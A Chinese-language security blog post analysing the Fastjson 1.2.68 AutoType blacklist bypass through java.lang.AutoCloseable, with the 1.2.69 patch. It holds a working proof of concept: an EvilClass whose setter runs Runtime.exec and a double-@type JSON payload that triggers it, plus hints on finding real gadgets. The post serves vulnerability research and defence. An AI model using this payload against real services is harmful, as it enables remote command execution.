Fastjson-1-2-68-AutoType绕过分析

好久没看漏洞了,趁着放假看了下最近比较火的的Fastjson的AutoType绕过问题。

期望类多个几个黑名单

Alt text

从黑名单列表可以看出:

blacklist

期望类多出的黑名单是:

java.lang.AutoCloseable、java.lang.Readable、java.lang.Runnable

漏洞描述:

fastjson采用黑白名单的方法来防御反序列化漏洞,导致当黑客不断发掘新的反序列化Gadgets类时,在autoType关闭的情况下仍然可能可以绕过黑白名单防御机制,造成远程命令执行漏洞。经研究,该漏洞利用门槛较低,可绕过autoType限制,风险影响较大。阿里云应急响应中心提醒fastjson用户尽快采取安全措施阻止漏洞攻击。

简单分析:

看描述核在autoType关闭的情况下仍然可能可以绕过黑白名单防御机制,应该是进了checkAutoType检测,但绕过了AutoType的黑名单。直接看核心代码ParserConfig.checkAutoType

非黑名单调试:

常规不在黑名单的类中且没有开启AutoType的话,会在ParserConfig.checkAutoType中的如下代码片段抛出异常

1
2
3
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}

而常规加载class需要 开启AutoType、或者期望类expectClassFlag为True、或者使用了jsonTpee注解

1
2
3
4
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

由于1.2.69是在expectClass这块加了三个黑名单,所以主要看expectClassFlag这块的东西

绕过检测的方法

  1. autoTypeSupport 标志位为true
  • 手动开启 autotype
  • 使用了 JSONType 注解
  1. 类为缓存Map中的类,从而直接提前return clazz绕过if (!autoTypeSupport) 的异常
  • TypeUtils.getClassFromMapping 中的类
  • deserializers 中的类
  • typeMapping 中的类
  • 符合白名单的类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
clazz = TypeUtils.getClassFromMapping(typeName);

if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz == null) {
clazz = typeMapping.get(typeName);
}

if (internalWhite) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
}

if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

autoTypeSupport 标志位为true就不考虑了。毕竟需要RD手动开启
查找Mapping类中是否存在新增黑名单的黑名单?

通过调试发现 TypeUtils.getClassFromMapping(typeName) 正好有黑名单中的java.lang.AutoCloseable接口,造Mapping中查找到后并返回clazz。
Alt text

clazz不为空后就return
Alt text

根据clazz类型判断,并构造JavaBeanDeserializer解析器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
} else if (clazz.isArray()) {
deserializer = ObjectArrayCodec.instance;
} else if (clazz == Set.class || clazz == HashSet.class || clazz == Collection.class || clazz == List.class
|| clazz == ArrayList.class) {
deserializer = CollectionCodec.instance;
} else if (Collection.class.isAssignableFrom(clazz)) {
deserializer = CollectionCodec.instance;
} else if (Map.class.isAssignableFrom(clazz)) {
deserializer = MapDeserializer.instance;
} else if (Throwable.class.isAssignableFrom(clazz)) {
deserializer = new ThrowableDeserializer(this, clazz);
} else if (PropertyProcessable.class.isAssignableFrom(clazz)) {
deserializer = new PropertyProcessableDeserializer((Class<PropertyProcessable>) clazz);
} else if (clazz == InetAddress.class) {
deserializer = MiscCodec.instance;
} else {
deserializer = createJavaBeanDeserializer(clazz, type);
}

当JavaBeanDeserializer解析器反序列化时会通过TypeUtils.getClass(type);将expectClass取出,也就是java.lang.AutoCloseable,并传入checkAutoType检测
Alt text
此时将expectClass不在黑名单里,直接将expectClassFlag改为True从而绕过
Alt text

恶意类构造

此时我们构造一个类,然后去实现AutoCloseable接口,并在setValue中填入命令执行的方法。而再常规Gadgets中,一般都是类似于InitialContext context = new InitialContext();return (Context) context.lookup(text);远程方法调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.csrew.rce;

import java.io.IOException;

/**
* @Author: Screw
* @description: com.csrew.rce
* @Date: 2020/6/27 1:37 上午
*/
public class EvilClass implements AutoCloseable{


public final void setAaa(String command){

try {

Runtime.getRuntime().exec(command);
} catch (IOException e) {
e.printStackTrace();
}
}


public void close() throws Exception {

}
}

就可以触发setAaa,去命令执行

1
2
3
4
5
6
7
8
9
10
public static void main(String[] args) {
String payload = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"com.csrew.rce.EvilClass\", \"Aaa\":\"open /Applications/Calculator.app\"}";

try {
JSONObject jsonObject = JSON.parseObject(payload);
System.out.println(jsonObject.getString("content"));
} catch (Exception e) {
e.printStackTrace();
}
}

此时当加载EvilClass类时,expectClass的期望类为java.lang.AutoCloseable,expectClassFlag为true 使用TypeUtils.loadClass方法用contextClassLoader来加载EvilClass类.然后再判断加载的类是否为期望类的子类,直接return.从而不会再走if (!autoTypeSupport) 的异常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass); //加载EvilClass类
}

if (clazz != null) {
if (jsonType) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
}

if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
|| javax.sql.RowSet.class.isAssignableFrom(clazz) //
) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) { //判断加载的clazz类是否是expectClass(java.lang.AutoCloseable)的子类,然后加入缓存mapping并return
TypeUtils.addMapping(typeName, clazz);
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}

JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}

1.69的防护,增加了expectClass的限制,当加载EvilClass类时期望类就会变为java.lang.AutoCloseable。经过处理后expectClassFlag = false;从而导致无法绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if (expectClass == null) {
expectClassFlag = false;
} else {
if (expectClass == Object.class
|| expectClass == Serializable.class
|| expectClass == Cloneable.class
|| expectClass == Closeable.class
|| expectClass == EventListener.class
|| expectClass == Iterable.class
|| expectClass == Collection.class
|| expectClass == java.lang.AutoCloseable
|| expectClass == java.lang.Readable
|| expectClass == java.lang.Runnable
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}

Alt text

总结

后续真实的Gadgets,只要按照java.lang.AutoCloseable的子类或者实现,在构造方法或者setValue方法中有符合咱们命令执行的相关参数如:lookup等 即可。可以自动化直接通过抽象语法树直接反编译jar包fuzz(当然黑名单里的类首先要去除,因为前面会过很名单)

参考:

https://github.com/alibaba/fastjson/wiki/security_update_20200601

文章作者: Screw
文章链接: http://screwsec.com/2020/06/27/Fastjson-1.2.68-AutoType%E7%BB%95%E8%BF%87%E5%88%86%E6%9E%90/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Screw's blog